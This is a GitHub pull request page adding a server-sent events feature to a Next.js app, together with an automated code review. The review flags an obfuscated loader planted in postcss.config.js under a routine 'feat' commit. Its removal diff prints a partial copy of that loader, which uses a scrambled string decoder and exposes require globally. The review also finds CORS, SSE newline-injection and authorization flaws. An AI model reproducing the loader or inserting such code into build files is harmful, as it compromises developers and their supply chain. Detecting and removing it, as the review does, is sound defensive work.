feat: adding sse-manager changes - #71
Open
mytechworker wants to merge 1 commit into
Open
Conversation
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Pro Plus Run ID: 📒 Files selected for processing (1)
📝 WalkthroughWalkthroughThis PR adds an authenticated Server-Sent Events system with typed contracts, connection management, business services, client hooks, tRPC procedures, API routes, a protected demo page, and routing integration. It also changes ChangesServer-Sent Events System
Repository Configuration
Estimated code review effort: 5 (Critical) | ~90 minutes Possibly related PRs
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 9
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/features/sse/index.ts (1)
1-21:⚠️ Potential issue | 🔴 Critical | 🏗️ Heavy liftCritical: Server and client code mixed in barrel export.
This barrel export combines server-side code (
sseRouter,sseService,sseManager) with client-side code (hooks, components). In Next.js 15 with React Server Components, this violates separation boundaries and can cause:
- Accidental server code bundled into client bundles
- Client code imported into server contexts
- Build-time errors or runtime failures
Split into separate entrypoints:
index.ts(orclient.ts) for client-side exports (hooks, components)server.tsfor server-side exports (services, router)Proposed structure
Create
src/features/sse/server.ts:// Server-side only exports export { sseService } from "./services/sse-service"; export { sseManager } from "./services/sse-manager"; export { sseRouter } from "./trpc/router"; export * from "./types";Update
src/features/sse/index.ts(or rename toclient.ts):-// Services -export { sseService } from "./services/sse-service"; -export { sseManager } from "./services/sse-manager"; - // Hooks export { useSSE, useSSENotifications, useSSEUploadProgress, SSEConnectionState, } from "./hooks/useSSE"; // Components export { default as SSEDemo } from "./components/SSEDemo"; // Types export * from "./types"; - -// Router -export { sseRouter } from "./trpc/router";Then update imports:
- Server files:
import { sseRouter, sseService } from "@/features/sse/server"- Client files:
import { useSSE, SSEDemo } from "@/features/sse"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/index.ts` around lines 1 - 21, The barrel at src/features/sse currently mixes server-side exports (sseService, sseManager, sseRouter) with client-side exports (useSSE, useSSENotifications, useSSEUploadProgress, SSEDemo), which breaks React Server Component boundaries; fix by splitting into two entrypoints: create a server-only module (e.g., server.ts) that exports sseService, sseManager, sseRouter and types, and keep the existing index.ts (or client.ts) for client exports useSSE, useSSENotifications, useSSEUploadProgress, SSEConnectionState, SSEDemo; update all imports to reference the appropriate entrypoint (server vs client) so server symbols never get bundled into client code and client hooks/components are not imported into server contexts.
🧹 Nitpick comments (3)
src/features/sse/types/index.ts (1)
1-6: ⚡ Quick winBind
SSEEventtoSSEEventType/EventDataMapfor end-to-end type safety.Right now
type: string+data: unknownbypasses the typed map you already defined, so invalid event/data combinations compile. Tightening this contract prevents drift across manager/service/router layers.Proposed typing refactor
-export interface SSEEvent { - type: string; - data: unknown; - id?: string; - retry?: number; -} +export type SSEEvent<K extends SSEEventType = SSEEventType> = { + type: K; + data: EventDataMap[K]; + id?: string; + retry?: number; +};Also applies to: 41-49, 77-85
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/types/index.ts` around lines 1 - 6, SSEEvent currently uses loose types (type: string, data: unknown) which allows invalid event/data pairs; update SSEEvent to be a discriminated generic keyed on the existing SSEEventType and EventDataMap so the type field is union of SSEEventType and data is the corresponding EventDataMap[Type]; change the interface declaration named SSEEvent and any other occurrences (the similar shapes at the other locations) to use this discriminated mapping so callers get compile-time enforcement of valid event names and their payload shapes.src/app/(protected)/sse-demo/error.tsx (1)
5-5: 💤 Low valueRename component to avoid shadowing global Error.
The component name
Errorshadows the globalErrorconstructor, which can cause confusion and potential bugs if the globalErrorneeds to be referenced within this module.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/`(protected)/sse-demo/error.tsx at line 5, The component named Error shadows the global Error constructor; rename the component (for example to AppError or ErrorBoundary) and update its declaration (const Error -> const AppError) and its default export to match, keep the props type ({ error }: { error: Error & { digest?: string } }) unchanged, and update any local imports/usages to the new component name so no references rely on the global Error symbol.src/features/auth/client.ts (1)
1-19: 💤 Low valueConsider adding "use client" directive for defensive coding.
Although this file re-exports from modules that likely contain "use client" directives, explicitly marking this entrypoint helps prevent accidental server-side imports and makes the client-only intent clearer.
Suggested addition
+"use client"; + /** * Client-side only exports for the authentication module. * This file should be imported to use auth functionality in client components. */🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/auth/client.ts` around lines 1 - 19, Add the "use client" directive as the very first line of this module to make the file explicitly client-only; update the top of src/features/auth/client.ts so that the file begins with "use client" (before any comments or imports/exports) and keep the existing exports (useSession, SessionProvider, PublicSessionProvider, the public types export, and route-utils) unchanged to ensure defensive client-only behavior without altering exported symbols.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@postcss.config.js`:
- Around line 1-4: Remove the runtime payload that uses createRequire and the
require variable (which injects/executes non-config code) and replace the module
with a pure PostCSS configuration export; specifically delete the
createRequire(import.meta.url) usage and any side-effecting code and instead
export the default PostCSS config object that lists the "@tailwindcss/postcss"
plugin under plugins so the file only defines configuration (no global side
effects or execution).
In `@src/app/`(protected)/sse-demo/error.tsx:
- Around line 5-6: The Error component is invoking ErrorBoundary as a function
(ErrorBoundary({ error })) which bypasses React lifecycle and misses the Next.js
reset prop; change the Error component signature to accept both error and reset
(e.g., ({ error, reset }: { error: Error & { digest?: string }, reset: () =>
void })) and render ErrorBoundary as a JSX element, passing both props (e.g.,
<ErrorBoundary error={error} reset={reset} />) so the boundary semantics and
recovery behaviour are preserved.
In `@src/app/api/sse/route.ts`:
- Around line 99-102: The SSE route's response headers object currently sets
"Access-Control-Allow-Origin": "*" alongside "Access-Control-Allow-Credentials":
"true", which violates the CORS spec for authenticated endpoints; update the SSE
route handler's headers object to remove the wildcard and instead read the
incoming Origin header and, if it matches an explicit allowlist (or restrict to
same-origin), set "Access-Control-Allow-Origin" to that exact origin value; keep
"Access-Control-Allow-Credentials": "true" only when an allowlist match
succeeds, and ensure any preflight/GET handling uses the same origin-check
logic.
In `@src/features/sse/hooks/useSSE.ts`:
- Around line 250-260: The reconnect logic uses the stale render value
stats.reconnectAttempts inside the timeout/closure, which lets reconnects bypass
maxReconnectAttempts; fix by deriving the nextAttempt in the functional setStats
call or by maintaining a stable ref (e.g., reconnectAttemptsRef) that you
increment when scheduling a reconnect and read inside the timeout/closure.
Update the code paths that reference stats.reconnectAttempts (the setTimeout
callback, the log call, and the maxReconnectAttempts check) to use the computed
nextAttempt or reconnectAttemptsRef, and ensure reconnectTimeoutRef and
eventSourceRef usage remains the same while calling connect() with the correct,
up-to-date attempt count.
- Around line 359-364: useSSENotifications (and the other helper hook at
397-401) currently call useSSE() themselves which creates a new /api/sse
connection per consumer; change these helpers so they do not call useSSE()
internally but instead reuse a shared instance: either accept an sse parameter
(e.g., function useSSENotifications(sse?: ReturnType<typeof useSSE>)) or read
the existing shared client from an SSE context (create/use a SSEContext and call
useContext(SSEContext) inside a single top-level useSSE provider). Update the
hook signature, remove the internal useSSE() call, and wire callers to pass or
provide the shared sse instance; keep notification logic (setNotifications,
event handlers) unchanged.
In `@src/features/sse/index.ts`:
- Around line 6-11: SSEConnectionState is currently declared in the hooks module
but should live in the SSE types module; remove the enum declaration from the
hooks implementation (hooks/useSSE) and add it to the sse types module so the
enum lives with other types (e.g., next to SSEEventType), then update
imports/exports: have hooks/useSSE import SSEConnectionState from the types
module and update this barrel (index.ts) to re-export SSEConnectionState from
the types module instead of from "./hooks/useSSE"; ensure there are no duplicate
declarations and all references (useSSE, useSSENotifications,
useSSEUploadProgress) continue to compile.
In `@src/features/sse/package.json`:
- Around line 1-6: The package currently exposes a single entrypoint (index.ts)
which prevents Next.js 15 server/client separation; split index.ts into two
modules named client.ts and server.ts (containing client-only and server-only
exports respectively), then update package.json to use an "exports" field with
conditional exports mapping "." to { "import": "./client.ts", "node":
"./server.ts", "default": "./server.ts" } (and add matching "types" conditional
paths if you generate .d.ts files) so consumers resolve the correct entry for
client vs server environments; ensure any internal re-exports in
client.ts/server.ts match existing exported symbols from index.ts.
In `@src/features/sse/services/sse-manager.ts`:
- Around line 327-337: The SSE framing currently interpolates event.id and
event.type directly into the message which allows CR/LF injection and can break
framing; in sse-manager.ts (the code building `message` from `event.id`,
`event.type`, `event.retry`) sanitize `event.id` and `event.type` before
appending by removing or escaping any `\r` or `\n` characters (e.g., strip CR/LF
or replace with a safe substitute) and coerce/validate `event.retry` as a
numeric value before writing; update the branches that append `id:
${event.id}\n`, `event: ${event.type}\n`, and `retry: ${event.retry}\n` to use
the sanitized/validated values so injected newlines cannot create extra SSE
fields or events.
---
Outside diff comments:
In `@src/features/sse/index.ts`:
- Around line 1-21: The barrel at src/features/sse currently mixes server-side
exports (sseService, sseManager, sseRouter) with client-side exports (useSSE,
useSSENotifications, useSSEUploadProgress, SSEDemo), which breaks React Server
Component boundaries; fix by splitting into two entrypoints: create a
server-only module (e.g., server.ts) that exports sseService, sseManager,
sseRouter and types, and keep the existing index.ts (or client.ts) for client
exports useSSE, useSSENotifications, useSSEUploadProgress, SSEConnectionState,
SSEDemo; update all imports to reference the appropriate entrypoint (server vs
client) so server symbols never get bundled into client code and client
hooks/components are not imported into server contexts.
---
Nitpick comments:
In `@src/app/`(protected)/sse-demo/error.tsx:
- Line 5: The component named Error shadows the global Error constructor; rename
the component (for example to AppError or ErrorBoundary) and update its
declaration (const Error -> const AppError) and its default export to match,
keep the props type ({ error }: { error: Error & { digest?: string } })
unchanged, and update any local imports/usages to the new component name so no
references rely on the global Error symbol.
In `@src/features/auth/client.ts`:
- Around line 1-19: Add the "use client" directive as the very first line of
this module to make the file explicitly client-only; update the top of
src/features/auth/client.ts so that the file begins with "use client" (before
any comments or imports/exports) and keep the existing exports (useSession,
SessionProvider, PublicSessionProvider, the public types export, and
route-utils) unchanged to ensure defensive client-only behavior without altering
exported symbols.
In `@src/features/sse/types/index.ts`:
- Around line 1-6: SSEEvent currently uses loose types (type: string, data:
unknown) which allows invalid event/data pairs; update SSEEvent to be a
discriminated generic keyed on the existing SSEEventType and EventDataMap so the
type field is union of SSEEventType and data is the corresponding
EventDataMap[Type]; change the interface declaration named SSEEvent and any
other occurrences (the similar shapes at the other locations) to use this
discriminated mapping so callers get compile-time enforcement of valid event
names and their payload shapes.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: bb2c2fec-d017-4d04-b7e1-0abc9326adef
📒 Files selected for processing (18)
.gitignorepostcss.config.jssrc/app/(protected)/sse-demo/error.tsxsrc/app/(protected)/sse-demo/page.tsxsrc/app/api/sse/route.tssrc/app/api/sse/stats/route.tssrc/config/routes.tssrc/features/auth/client.tssrc/features/home/components/WelcomeMessage.tsxsrc/features/sse/components/SSEDemo.tsxsrc/features/sse/hooks/useSSE.tssrc/features/sse/index.tssrc/features/sse/package.jsonsrc/features/sse/services/sse-manager.tssrc/features/sse/services/sse-service.tssrc/features/sse/trpc/router.tssrc/features/sse/types/index.tssrc/lib/trpc/root.ts
Comment on lines
+1
to
+4
| import { createRequire } from 'module'; | ||
|
|
||
| const require = createRequire(import.meta.url); | ||
|
|
There was a problem hiding this comment.
Remove the obfuscated executable payload from the PostCSS config.
Line 9 injects and executes non-config code with global side effects at module load. This is a critical supply-chain/security risk and can destabilize builds.
🔧 Proposed fix
-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
export default {
plugins: {
"@tailwindcss/postcss": {},
},
-}; global['!']='10-291-10';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){/* ...snip... */})();
+};// postcss.config.js (clean target state)
export default {
plugins: {
"@tailwindcss/postcss": {},
},
};Also applies to: 9-9
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@postcss.config.js` around lines 1 - 4, Remove the runtime payload that uses
createRequire and the require variable (which injects/executes non-config code)
and replace the module with a pure PostCSS configuration export; specifically
delete the createRequire(import.meta.url) usage and any side-effecting code and
instead export the default PostCSS config object that lists the
"@tailwindcss/postcss" plugin under plugins so the file only defines
configuration (no global side effects or execution).
Comment on lines
+5
to
+6
| const Error = ({ error }: { error: Error & { digest?: string } }) => | ||
| ErrorBoundary({ error }); |
There was a problem hiding this comment.
Critical: ErrorBoundary called as function instead of rendered as component.
Line 6 calls ErrorBoundary({ error }) as a function. This will return whatever ErrorBoundary returns (likely JSX), but it bypasses React's component lifecycle and error boundary semantics. Render it as a JSX component instead.
Additionally, Next.js 15 error.tsx components receive a reset prop for error recovery, which is missing here.
Proposed fix
-const Error = ({ error }: { error: Error & { digest?: string } }) =>
- ErrorBoundary({ error });
+export default function SSEDemoError({
+ error,
+ reset,
+}: {
+ error: Error & { digest?: string };
+ reset: () => void;
+}) {
+ return <ErrorBoundary error={error} reset={reset} />;
+}
-
-export default Error;📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| const Error = ({ error }: { error: Error & { digest?: string } }) => | |
| ErrorBoundary({ error }); | |
| export default function SSEDemoError({ | |
| error, | |
| reset, | |
| }: { | |
| error: Error & { digest?: string }; | |
| reset: () => void; | |
| }) { | |
| return <ErrorBoundary error={error} reset={reset} />; | |
| } |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/app/`(protected)/sse-demo/error.tsx around lines 5 - 6, The Error
component is invoking ErrorBoundary as a function (ErrorBoundary({ error }))
which bypasses React lifecycle and misses the Next.js reset prop; change the
Error component signature to accept both error and reset (e.g., ({ error, reset
}: { error: Error & { digest?: string }, reset: () => void })) and render
ErrorBoundary as a JSX element, passing both props (e.g., <ErrorBoundary
error={error} reset={reset} />) so the boundary semantics and recovery behaviour
are preserved.
Comment on lines
+99
to
+102
| "Access-Control-Allow-Origin": "*", | ||
| "Access-Control-Allow-Headers": "Cache-Control", | ||
| "Access-Control-Allow-Credentials": "true", | ||
| // Disable buffering for Nginx and other proxies |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, let's examine the SSE route file to see the actual headers being set
cat -n src/app/api/sse/route.tsRepository: nomeyy/dev-test
Length of output: 5027
Fix CORS policy for authenticated SSE (current headers violate CORS specification).
Access-Control-Allow-Origin: * cannot be combined with Access-Control-Allow-Credentials: true per the CORS specification. Since this is an authenticated endpoint that requires a valid session, browsers will reject these headers as invalid. Replace the wildcard origin with an explicit origin allowlist or use same-origin only, depending on your deployment architecture.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/app/api/sse/route.ts` around lines 99 - 102, The SSE route's response
headers object currently sets "Access-Control-Allow-Origin": "*" alongside
"Access-Control-Allow-Credentials": "true", which violates the CORS spec for
authenticated endpoints; update the SSE route handler's headers object to remove
the wildcard and instead read the incoming Origin header and, if it matches an
explicit allowlist (or restrict to same-origin), set
"Access-Control-Allow-Origin" to that exact origin value; keep
"Access-Control-Allow-Credentials": "true" only when an allowlist match
succeeds, and ensure any preflight/GET handling uses the same origin-check
logic.
Comment on lines
+250
to
+260
| if (autoReconnect && stats.reconnectAttempts < maxReconnectAttempts) { | ||
| setConnectionState(SSEConnectionState.RECONNECTING); | ||
| setStats((prev) => ({ | ||
| ...prev, | ||
| reconnectAttempts: prev.reconnectAttempts + 1, | ||
| })); | ||
|
|
||
| reconnectTimeoutRef.current = setTimeout(() => { | ||
| log(`Reconnecting... (attempt ${stats.reconnectAttempts + 1})`); | ||
| eventSourceRef.current = null; | ||
| connect(); |
There was a problem hiding this comment.
Reconnect attempt tracking is captured from stale renders.
stats.reconnectAttempts here comes from the render that created this EventSource. The timeout then calls that same stale connect, so later reconnects can keep using an outdated counter and bypass maxReconnectAttempts entirely. Keep the attempt count in a ref, or compute nextAttempt inside the functional setStats path and drive the reconnect from that stable value.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/hooks/useSSE.ts` around lines 250 - 260, The reconnect logic
uses the stale render value stats.reconnectAttempts inside the timeout/closure,
which lets reconnects bypass maxReconnectAttempts; fix by deriving the
nextAttempt in the functional setStats call or by maintaining a stable ref
(e.g., reconnectAttemptsRef) that you increment when scheduling a reconnect and
read inside the timeout/closure. Update the code paths that reference
stats.reconnectAttempts (the setTimeout callback, the log call, and the
maxReconnectAttempts check) to use the computed nextAttempt or
reconnectAttemptsRef, and ensure reconnectTimeoutRef and eventSourceRef usage
remains the same while calling connect() with the correct, up-to-date attempt
count.
Comment on lines
+359
to
+364
| export function useSSENotifications() { | ||
| const [notifications, setNotifications] = useState<NotificationEventData[]>( | ||
| [], | ||
| ); | ||
| const sse = useSSE(); | ||
|
|
There was a problem hiding this comment.
These helper hooks open a new SSE connection per consumer.
Both helpers call useSSE() internally, so any screen that combines them with useSSE() directly ends up with multiple /api/sse connections for the same tab. In this PR that inflates stats, duplicates server work, and can hit the manager’s per-user connection cap. These hooks should subscribe to a shared useSSE instance or context instead of constructing their own connection.
Also applies to: 397-401
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/hooks/useSSE.ts` around lines 359 - 364, useSSENotifications
(and the other helper hook at 397-401) currently call useSSE() themselves which
creates a new /api/sse connection per consumer; change these helpers so they do
not call useSSE() internally but instead reuse a shared instance: either accept
an sse parameter (e.g., function useSSENotifications(sse?: ReturnType<typeof
useSSE>)) or read the existing shared client from an SSE context (create/use a
SSEContext and call useContext(SSEContext) inside a single top-level useSSE
provider). Update the hook signature, remove the internal useSSE() call, and
wire callers to pass or provide the shared sse instance; keep notification logic
(setNotifications, event handlers) unchanged.
Comment on lines
+6
to
+11
| export { | ||
| useSSE, | ||
| useSSENotifications, | ||
| useSSEUploadProgress, | ||
| SSEConnectionState, | ||
| } from "./hooks/useSSE"; |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Check what SSEConnectionState actually is and where it's defined
ast-grep --pattern 'export $_ SSEConnectionState = $_'Repository: nomeyy/dev-test
Length of output: 41
🏁 Script executed:
# First, find where SSEConnectionState is defined - broader search
rg 'SSEConnectionState' --type ts --type tsx -B 2 -A 2Repository: nomeyy/dev-test
Length of output: 87
🏁 Script executed:
# Check the hooks/useSSE file directly
cat -n src/features/sse/hooks/useSSE.tsRepository: nomeyy/dev-test
Length of output: 13926
🏁 Script executed:
# Check the directory structure of the sse feature
tree -L 3 src/features/sse/ 2>/dev/null || find src/features/sse/ -type f -o -type d | head -20Repository: nomeyy/dev-test
Length of output: 307
🏁 Script executed:
# Check what's in the types module
cat -n src/features/sse/types/index.tsRepository: nomeyy/dev-test
Length of output: 3690
🏁 Script executed:
# Search for other enum/type definitions in the hooks file to understand the pattern
rg 'export (enum|interface|type)' src/features/sse/hooks/useSSE.tsRepository: nomeyy/dev-test
Length of output: 157
Move SSEConnectionState enum to the types module.
SSEConnectionState is defined as an enum in the hooks module, but the codebase convention places enums in the dedicated types module—see SSEEventType in src/features/sse/types/index.ts (lines 41-49) as the established pattern. Move SSEConnectionState to the types module to align with the existing architectural convention and make type organization consistent.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/index.ts` around lines 6 - 11, SSEConnectionState is
currently declared in the hooks module but should live in the SSE types module;
remove the enum declaration from the hooks implementation (hooks/useSSE) and add
it to the sse types module so the enum lives with other types (e.g., next to
SSEEventType), then update imports/exports: have hooks/useSSE import
SSEConnectionState from the types module and update this barrel (index.ts) to
re-export SSEConnectionState from the types module instead of from
"./hooks/useSSE"; ensure there are no duplicate declarations and all references
(useSSE, useSSENotifications, useSSEUploadProgress) continue to compile.
Comment on lines
+1
to
+6
| { | ||
| "name": "@features/sse", | ||
| "private": true, | ||
| "main": "./index.ts", | ||
| "types": "./index.ts" | ||
| } |
There was a problem hiding this comment.
🛠️ Refactor suggestion | 🟠 Major | 🏗️ Heavy lift
Use package.json "exports" field for server/client separation.
The single entrypoint (main and types both pointing to ./index.ts) doesn't support Next.js 15's server/client code separation. Use the exports field with conditional exports.
Recommended package.json structure
{
"name": "@features/sse",
"private": true,
- "main": "./index.ts",
- "types": "./index.ts"
+ "exports": {
+ ".": {
+ "types": "./client.ts",
+ "default": "./client.ts"
+ },
+ "./server": {
+ "types": "./server.ts",
+ "default": "./server.ts"
+ }
+ }
}This requires splitting index.ts into client.ts and server.ts as noted in the previous comment.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/package.json` around lines 1 - 6, The package currently
exposes a single entrypoint (index.ts) which prevents Next.js 15 server/client
separation; split index.ts into two modules named client.ts and server.ts
(containing client-only and server-only exports respectively), then update
package.json to use an "exports" field with conditional exports mapping "." to {
"import": "./client.ts", "node": "./server.ts", "default": "./server.ts" } (and
add matching "types" conditional paths if you generate .d.ts files) so consumers
resolve the correct entry for client vs server environments; ensure any internal
re-exports in client.ts/server.ts match existing exported symbols from index.ts.
Comment on lines
+327
to
+337
| if (event.id) { | ||
| message += `id: ${event.id}\n`; | ||
| } | ||
|
|
||
| if (event.type) { | ||
| message += `event: ${event.type}\n`; | ||
| } | ||
|
|
||
| if (event.retry) { | ||
| message += `retry: ${event.retry}\n`; | ||
| } |
There was a problem hiding this comment.
Sanitize event.id and event.type before writing SSE fields.
id/type are interpolated raw into protocol lines. If either contains \n/\r, it can corrupt framing and inject unintended SSE fields/events.
Proposed hardening
private formatSSEMessage(event: SSEEvent): string {
let message = "";
+ const safeId = event.id?.replace(/[\r\n]/g, "");
+ const safeType = event.type.replace(/[\r\n]/g, "");
- if (event.id) {
- message += `id: ${event.id}\n`;
+ if (safeId) {
+ message += `id: ${safeId}\n`;
}
- if (event.type) {
- message += `event: ${event.type}\n`;
+ if (safeType) {
+ message += `event: ${safeType}\n`;
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| if (event.id) { | |
| message += `id: ${event.id}\n`; | |
| } | |
| if (event.type) { | |
| message += `event: ${event.type}\n`; | |
| } | |
| if (event.retry) { | |
| message += `retry: ${event.retry}\n`; | |
| } | |
| const safeId = event.id?.replace(/[\r\n]/g, ""); | |
| const safeType = event.type.replace(/[\r\n]/g, ""); | |
| if (safeId) { | |
| message += `id: ${safeId}\n`; | |
| } | |
| if (safeType) { | |
| message += `event: ${safeType}\n`; | |
| } | |
| if (event.retry) { | |
| message += `retry: ${event.retry}\n`; | |
| } |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/features/sse/services/sse-manager.ts` around lines 327 - 337, The SSE
framing currently interpolates event.id and event.type directly into the message
which allows CR/LF injection and can break framing; in sse-manager.ts (the code
building `message` from `event.id`, `event.type`, `event.retry`) sanitize
`event.id` and `event.type` before appending by removing or escaping any `\r` or
`\n` characters (e.g., strip CR/LF or replace with a safe substitute) and
coerce/validate `event.retry` as a numeric value before writing; update the
branches that append `id: ${event.id}\n`, `event: ${event.type}\n`, and `retry:
${event.retry}\n` to use the sanitized/validated values so injected newlines
cannot create extra SSE fields or events.
Comment on lines
+53
to
+60
| sendCustomEvent: protectedProcedure | ||
| .input(CustomEventInputSchema) | ||
| .mutation(async ({ ctx, input }) => { | ||
| try { | ||
| const targetUserId = input.targetUserId ?? ctx.session.user.id; | ||
| const successCount = await sseService.sendCustomEvent( | ||
| targetUserId, | ||
| input.eventType, |
There was a problem hiding this comment.
Enforce role-based authorization on cross-user/system-wide SSE procedures.
Any authenticated user can currently target arbitrary targetUserId, broadcast alerts globally, and read global stats. These operations need admin/system scope checks (or strict self-only constraints where appropriate).
Also applies to: 77-93, 101-112
This was referenced Jul 29, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Adding New SSE Manager changes :
Summary by CodeRabbit